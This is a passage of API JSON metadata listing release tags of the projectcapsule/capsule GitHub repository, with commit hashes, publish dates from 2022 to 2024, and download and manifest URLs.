https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"206ce71ec69b81332568e0488e055690c93ce48a","kind":"commit","published_at":"2024-06-26T07:11:12.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.7.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.7.0/manifests"},{"name":"v0.7.0-rc.1","sha":"419eb8f6fa4dc9ff65c0d7c3dddb95d918530758","kind":"commit","published_at":"2024-05-14T08:38:50.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.7.0-rc.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.7.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.7.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.7.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.7.0-rc.1/manifests"},{"name":"v0.6.2","sha":"9c1b9487d98585b04741da658d5e97b94ea439cd","kind":"commit","published_at":"2024-03-28T20:14:03.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.6.2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"c5808ef036de5ffe4bc9444dcb44a838a52bb498","kind":"commit","published_at":"2024-02-27T13:48:29.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.6.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"b97635be0634028764a1efc0a0258a2c7b15d86c","kind":"commit","published_at":"2024-02-27T10:43:54.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.6.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.6.0/manifests"},{"name":"v0.6.0-rc0","sha":"65a743903d02f33a1b496906fc03a5f5adf9ae83","kind":"tag","published_at":"2024-02-21T16:44:14.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.6.0-rc0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.6.0-rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.6.0-rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.6.0-rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.6.0-rc0/manifests"},{"name":"helm-v0.6.0","sha":"800a8ffa881387dcbb62ab9588ff3812285c51a9","kind":"commit","published_at":"2023-12-07T19:21:46.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.6.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.6.0/manifests"},{"name":"v0.5.0","sha":"74d3ac504e79b935ef7d3613f5668e0f983ce4ff","kind":"commit","published_at":"2023-12-07T15:49:35.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.5.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.5.0/manifests"},{"name":"v0.4.2","sha":"9a8736428821446d5eb6ec6e73edd7ea6b101b7f","kind":"tag","published_at":"2023-11-21T13:40:40.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.4.2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.4.2/manifests"},{"name":"helm-v0.5.3","sha":"9a8736428821446d5eb6ec6e73edd7ea6b101b7f","kind":"tag","published_at":"2023-11-21T13:39:41.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.5.3","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.5.3/manifests"},{"name":"helm-v0.5.2","sha":"9a21b408dde54c9d6522a0651135f76701dac263","kind":"tag","published_at":"2023-11-09T16:13:46.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.5.2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.5.2/manifests"},{"name":"v0.4.1","sha":"9a21b408dde54c9d6522a0651135f76701dac263","kind":"tag","published_at":"2023-11-09T16:12:23.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.4.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.4.1/manifests"},{"name":"helm-v0.5.1","sha":"4ed48e5136b65c4d2e45b9d76a2a09bcb1b92b37","kind":"commit","published_at":"2023-11-07T10:09:59.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.5.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.5.1/manifests"},{"name":"helm-v0.4.7","sha":"4ed48e5136b65c4d2e45b9d76a2a09bcb1b92b37","kind":"commit","published_at":"2023-11-07T10:09:59.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.4.7","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.7/manifests"},{"name":"v0.4.0","sha":"ad8957ca7e2765ab89e5f698c1565c39b3e39ba9","kind":"commit","published_at":"2023-11-06T08:47:17.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.4.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.4.0/manifests"},{"name":"v0.4.0-rc.3","sha":"54531bab726ce6bf437d55c12e4f3724724c63c4","kind":"commit","published_at":"2023-10-26T12:00:51.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.4.0-rc.3","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.4.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.4.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.4.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.4.0-rc.3/manifests"},{"name":"helm-v0.5.0","sha":"54531bab726ce6bf437d55c12e4f3724724c63c4","kind":"commit","published_at":"2023-10-26T12:00:51.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.5.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.5.0/manifests"},{"name":"v0.4.0-rc.2","sha":"34d6416b1e1244475f067883005e11f8337a090e","kind":"commit","published_at":"2023-10-23T07:45:03.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.4.0-rc.2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.4.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.4.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.4.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.4.0-rc.2/manifests"},{"name":"v0.4.0-rc.1","sha":"fe582f4c2f2e630f205f5fca167c2b843acdd505","kind":"commit","published_at":"2023-10-20T14:50:35.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.4.0-rc.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.4.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.4.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.4.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.4.0-rc.1/manifests"},{"name":"helm-v0.4.8","sha":"a09c95550a07ef17dd0fc90998c6832ccea5adbb","kind":"commit","published_at":"2023-10-20T13:26:22.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.4.8","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.8/manifests"},{"name":"helm-v0.4.6","sha":"904dcfc18521f8bba657495ab318ce031fe468d3","kind":"commit","published_at":"2023-08-19T06:49:04.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.4.6","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.6/manifests"},{"name":"v0.3.3","sha":"64513b8dee332d119b1a5a3a4c267f84ff2c7ecb","kind":"commit","published_at":"2023-06-27T17:15:01.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.3.3","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.3.3/manifests"},{"name":"helm-v0.4.5","sha":"87e5d9b9c7911afbfe4981bb2eed36e06a540b89","kind":"commit","published_at":"2023-06-27T17:12:50.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.4.5","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.5/manifests"},{"name":"helm-v0.4.4","sha":"6cd62d9e91793bd001cbd762dda849fc60edf53f","kind":"commit","published_at":"2023-06-27T13:04:58.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.4.4","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.4/manifests"},{"name":"v0.3.2","sha":"4be0cdc659833579e7575df865773d20db03f803","kind":"commit","published_at":"2023-06-01T16:16:14.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.3.2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.3.2/manifests"},{"name":"helm-v0.4.3","sha":"4be0cdc659833579e7575df865773d20db03f803","kind":"commit","published_at":"2023-06-01T16:16:14.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.4.3","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.3/manifests"},{"name":"helm-v0.4.2","sha":"953cfdc172dd1dd93646dd8609cda61071c8528a","kind":"commit","published_at":"2023-04-18T14:54:10.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.4.2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.2/manifests"},{"name":"v0.3.1","sha":"d5d4c8d2b68e52a64d49092444a5e7a7bd44362e","kind":"commit","published_at":"2023-03-28T11:06:54.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.3.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.3.1/manifests"},{"name":"helm-v0.4.1","sha":"d5d4c8d2b68e52a64d49092444a5e7a7bd44362e","kind":"commit","published_at":"2023-03-28T11:06:54.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.4.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.1/manifests"},{"name":"v0.3.0","sha":"03f89633098f6af6abfedb8d7552d4463271ceb5","kind":"commit","published_at":"2023-03-04T17:21:50.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.3.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.3.0/manifests"},{"name":"helm-v0.4.0","sha":"03f89633098f6af6abfedb8d7552d4463271ceb5","kind":"commit","published_at":"2023-03-04T17:21:50.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.4.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.4.0/manifests"},{"name":"helm-v0.3.6","sha":"3991359bfe0c09264d2c817f47b177b7cde28e64","kind":"commit","published_at":"2023-03-02T10:00:22.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.3.6","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.3.6/manifests"},{"name":"v0.2.2","sha":"681328b1bcfd87235ef0bea08c743d3c30e60d08","kind":"commit","published_at":"2023-02-17T13:18:57.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.2.2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.2.2/manifests"},{"name":"helm-v0.3.5","sha":"610a03d0b91b93809055e436d2134942a8447f65","kind":"commit","published_at":"2023-02-16T10:08:23.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.3.5","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.3.5/manifests"},{"name":"helm-v0.3.4","sha":"fe4954f39e4c190b27214f62e1e42ce01c559bb4","kind":"commit","published_at":"2023-02-14T17:40:03.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.3.4","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.3.4/manifests"},{"name":"helm-v0.3.3","sha":"770ad22170d5484de7093bdcf8aa27178e9e95fe","kind":"commit","published_at":"2023-02-10T11:52:41.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.3.3","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.3.3/manifests"},{"name":"helm-v0.3.2","sha":"930f0382d102ae02145d99756b93e6218da676e4","kind":"commit","published_at":"2023-02-07T14:31:32.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.3.2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.3.2/manifests"},{"name":"v0.2.1","sha":"d92f1e7825d3fc09f9492bf494057d22cafc71c1","kind":"commit","published_at":"2023-02-01T08:21:09.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.2.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.2.1/manifests"},{"name":"helm-v0.3.1","sha":"d92f1e7825d3fc09f9492bf494057d22cafc71c1","kind":"commit","published_at":"2023-02-01T08:21:09.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.3.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.3.1/manifests"},{"name":"v0.2.0","sha":"a334e682567e471fcd85b1bc8d2de5b92b4c311f","kind":"commit","published_at":"2023-01-28T10:47:00.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.2.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.2.0/manifests"},{"name":"helm-v0.3.0","sha":"a334e682567e471fcd85b1bc8d2de5b92b4c311f","kind":"commit","published_at":"2023-01-28T10:47:00.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.3.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.3.0/manifests"},{"name":"helm-v0.2.0","sha":"d58c5124b2ff5921462728fb49c51970252401ea","kind":"commit","published_at":"2022-12-26T13:27:26.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.2.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.2.0/manifests"},{"name":"v0.1.3","sha":"eba072c88dfcff9348d870d03b74ad3737a528b1","kind":"commit","published_at":"2022-12-02T14:43:41.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.1.3","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.3/manifests"},{"name":"helm-v0.1.12","sha":"eba072c88dfcff9348d870d03b74ad3737a528b1","kind":"commit","published_at":"2022-12-02T14:43:41.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.1.12","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.1.12","dependencies_parsed_at":null,"depend